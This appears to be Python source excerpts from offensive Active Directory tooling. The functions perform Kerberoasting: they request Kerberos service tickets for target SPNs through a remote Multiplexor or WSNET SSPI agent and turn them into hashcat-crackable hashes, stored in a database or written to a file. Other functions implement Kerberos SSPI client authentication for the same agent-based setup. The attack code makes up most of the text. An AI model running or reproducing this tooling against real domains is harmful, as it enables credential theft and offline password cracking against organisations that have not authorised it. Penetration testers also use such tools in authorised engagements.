async def kerberoast_multiplexor(self):
try:
from multiplexor.operator.external.sspi import KerberosSSPIClient
from multiplexor.operator import MultiplexorOperator
except ImportError as error:
return None, Exception('Failed to import multiplexor module! You will need to install multiplexor to get this working!')
try:
ws_logger = logging.getLogger('websockets')
ws_logger.setLevel(100)
url_e = urlparse(self.kerb_url)
agentid = url_e.path.replace('/','')
operator = MultiplexorOperator(self.kerb_url)
await operator.connect()
#creating virtual sspi server
for uid in self.targets_spn:
try:
server_info = await operator.start_sspi(agentid)
#print(server_info)
sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port'])
#print(sspi_url)
ksspi = KerberosSSPIClient(sspi_url)
await ksspi.connect()
apreq, err = await ksspi.authenticate(self.targets_spn[uid].get_formatted_pname())
if err is not None:
logger.debug('[SPN-MP] error occurred while roasting %s: %s' % (self.targets_spn[uid].get_formatted_pname(), err))
continue
unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
aprep = AP_REQ.load(unwrap.data[2:]).native
t = KerberoastTable.from_hash(self.ad_id, uid, TGSTicket2hashcat(aprep))
self.session.add(t)
self.total_targets_finished += 1
if self.progress_queue is not None:
msg = GathererProgress()
msg.type = GathererProgressType.KERBEROAST
msg.msg_type = MSGTYPE.PROGRESS
msg.adid = self.ad_id
msg.domain_name = self.domain_name
msg.total = self.total_targets
msg.total_finished = self.total_targets_finished
msg.step_size = 1
await self.progress_queue.put(msg)
except Exception as e:
logger.debug('[SPN-MP] Error while roasting %s. %s' % (uid, e))
finally:
try:
await ksspi.disconnect()
except:
pass
self.session.commit()
except Exception as e:
return None, e
async def spnmultiplexor(args):
try:
from multiplexor.operator.external.sspi import KerberosSSPIClient
from multiplexor.operator import MultiplexorOperator
except ImportError as error:
print('Failed to import multiplexor module! You will need to install multiplexor to get this working!')
logger = logging.getLogger('websockets')
logger.setLevel(100)
if args.verbose > 2:
logger.setLevel(logging.INFO)
try:
logging.debug('[SPN-MP] input URL: %s' % args.mp_url)
url_e = urlparse(args.mp_url)
agentid = url_e.path.replace('/','')
logging.debug('[SPN-MP] agentid: %s' % agentid)
targets = get_targets_from_file(args)
targets += get_target_from_args(args)
if len(targets) == 0:
raise Exception('No targets were specified! Either use target file or specify target via cmdline')
logging.debug('[SPN-MP] loaded %s targets' % len(targets))
operator = MultiplexorOperator(args.mp_url)
await operator.connect()
#creating virtual sspi server
results = []
for target in targets:
server_info = await operator.start_sspi(agentid)
#print(server_info)
sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port'])
#print(sspi_url)
ksspi = KerberosSSPIClient(sspi_url)
await ksspi.connect()
apreq, err = await ksspi.authenticate(target.get_formatted_pname())
if err is not None:
logging.debug('[SPN-MP] error occurred while roasting %s: %s' % (target.get_formatted_pname(), err))
continue
unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
aprep = AP_REQ.load(unwrap.data[2:]).native
results.append(TGSTicket2hashcat(aprep))
if args.out_file:
with open(args.out_file, 'w', newline = '') as f:
for thash in results:
f.write(thash + '\r\n')
else:
for thash in results:
print(thash)
except Exception as e:
logging.exception('[SPN-MP] exception!')
async def kerberoast_sspiproxy(self):
try:
from wsnet.operator.sspiproxy import WSNETSSPIProxy
url = self.kerb_url
agentid = None
o = urlparse(self.kerb_url)
if o.query:
q = parse_qs(o.query)
agentid = q.get('agentid', [None])[0]
if agentid is not None:
agentid = bytes.fromhex(agentid)
for uid in self.targets_spn:
if self.targets_spn[uid].get_formatted_pname().lower(
).startswith('krbtgt'):
continue
sspi = WSNETSSPIProxy(url, agentid)
status, ctxattr, apreq, err = await sspi.authenticate(
'KERBEROS',
'',
self.targets_spn[uid].get_formatted_pname(),
3,
2048,
authdata=b'')
if err is not None:
print(err.__traceback__)
print('Failed to get ticket for %s Reason: %s' %
(self.targets_spn[uid].get_formatted_pname(),
str(err)))
continue
unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
aprep = AP_REQ.load(unwrap.data[2:]).native
t = KerberoastTable.from_hash(self.ad_id, uid,
TGSTicket2hashcat(aprep))
self.db_session.add(t)
self.total_targets_finished += 1
if self.progress_queue is not None:
msg = GathererProgress()
msg.type = GathererProgressType.KERBEROAST
msg.msg_type = MSGTYPE.PROGRESS
msg.adid = self.ad_id
msg.domain_name = self.domain_name
msg.total = self.total_targets
msg.total_finished = self.total_targets_finished
msg.step_size = 1
await self.progress_queue.put(msg)
self.db_session.commit()
except Exception as e:
return None, e
async def authenticate(self,
authData=None,
flags=None,
seq_number=0,
cb_data=None):
try:
status, ctxattr, apreq, err = await self.sspi.authenticate(
'KERBEROS',
'',
self.settings.target.to_target_string(),
3,
self.flags.value,
authdata=b'')
if err is not None:
raise err
self.flags = ISC_REQ(ctxattr)
self.session_key, err = await self.sspi.get_sessionkey()
if err is not None:
return None, None, err
unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
aprep = AP_REQ.load(unwrap.data[2:]).native
subkey = Key(aprep['ticket']['enc-part']['etype'],
self.session_key)
self.gssapi = get_gssapi(subkey)
if aprep['ticket']['enc-part']['etype'] != 23:
if ISC_REQ.CONFIDENTIALITY in self.flags:
raw_seq_data, err = await self.sspi.get_sequenceno()
if err is not None:
return None, None, err
self.seq_number = GSSWrapToken.from_bytes(
raw_seq_data[16:]).SND_SEQ
return unwrap.data[2:], False, None
except Exception as e:
return None, None, e
async def authenticate(self,
authData=None,
flags=None,
seq_number=0,
cb_data=None):
#authdata is only for api compatibility reasons
if self.ksspi is None:
await self.start_remote_kerberos()
try:
apreq, res = await self.ksspi.authenticate(
self.settings.target.to_target_string(),
flags=str(self.flags.value))
#print('MULTIPLEXOR KERBEROS SSPI, APREQ: %s ERROR: %s' % (apreq, res))
if res is not None:
return None, None, res
# here it seems like we get the full token not just the apreq data...
# so we need to discard the layers
self.session_key, err = await self.ksspi.get_session_key()
if err is not None:
return None, None, err
unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
aprep = AP_REQ.load(unwrap.data[2:]).native
subkey = Key(aprep['ticket']['enc-part']['etype'],
self.session_key)
self.gssapi = get_gssapi(subkey)
if aprep['ticket']['enc-part']['etype'] != 23:
raw_seq_data, err = await self.ksspi.get_seq_number()
if err is not None:
return None, None, err
self.seq_number = GSSWrapToken.from_bytes(
raw_seq_data[16:]).SND_SEQ
return unwrap.data[2:], False, res
except Exception as e:
return None, None, e
async def authenticate(self,
authData,
flags=None,
seq_number=0,
cb_data=None):
"""
This function is called (multiple times depending on the flags) to perform authentication.
"""
try:
if self.kc is None:
_, err = await self.setup_kc()
if err is not None:
return None, None, err
if self.iterations == 0:
self.seq_number = 0 #int.from_bytes(os.urandom(4), byteorder='big', signed=False)
self.iterations += 1
#tgt = await self.kc.get_TGT()
tgt = await self.kc.get_TGT(
override_etype=self.preferred_etypes)
tgs, encpart, self.session_key = await self.kc.get_TGS(
self.spn) #, override_etype = self.preferred_etypes)
#self.expected_server_seq_number = encpart.get('nonce', seq_number)
ap_opts = []
if ChecksumFlags.GSS_C_MUTUAL_FLAG in self.flags or ChecksumFlags.GSS_C_DCE_STYLE in self.flags:
if ChecksumFlags.GSS_C_MUTUAL_FLAG in self.flags:
ap_opts.append('mutual-required')
apreq = self.kc.construct_apreq(tgs,
encpart,
self.session_key,
flags=self.flags,
seq_number=self.seq_number,
ap_opts=ap_opts,
cb_data=cb_data)
return apreq, True, None
else:
#no mutual or dce auth will take one step only
apreq = self.kc.construct_apreq(tgs,
encpart,
self.session_key,
flags=self.flags,
seq_number=self.seq_number,
ap_opts=[],
cb_data=cb_data)
self.gssapi = get_gssapi(self.session_key)
return apreq, False, None
else:
self.iterations += 1
#raise Exception('Not implemented!')
if ChecksumFlags.GSS_C_DCE_STYLE in self.flags:
# adata = authData[16:]
# if ChecksumFlags.GSS_C_DCE_STYLE in self.flags:
# adata = authData
raise Exception('DCE auth Not implemented!')
# at this point we are dealing with mutual authentication
# This means that the server sent back an AP-rep wrapped in a token
# The APREP contains a new session key we'd need to update and a seq-number
# that is expected the server will use for future communication.
# For mutual auth we dont need to reply anything after this step,
# but for DCE auth a reply is expected. TODO
# converting the token to aprep
token = KRB5_MECH_INDEP_TOKEN.from_bytes(authData)
if token.data[:2] != b'\x02\x00':
raise Exception('Unexpected token type! %s' %
token.data[:2].hex())
aprep = AP_REP.load(token.data[2:]).native
# decrypting aprep
cipher = _enctype_table[int(aprep['enc-part']['etype'])]()
cipher_text = aprep['enc-part']['cipher']
temp = cipher.decrypt(self.session_key, 12, cipher_text)
enc_part = EncAPRepPart.load(temp).native
#updating session key, gssapi
self.session_key = Key(int(enc_part['subkey']['keytype']),
enc_part['subkey']['keyvalue'])
#self.seq_number = enc_part.get('seq-number', 0)
self.gssapi = get_gssapi(self.session_key)
return b'', False, None
except Exception as e:
return None, None, e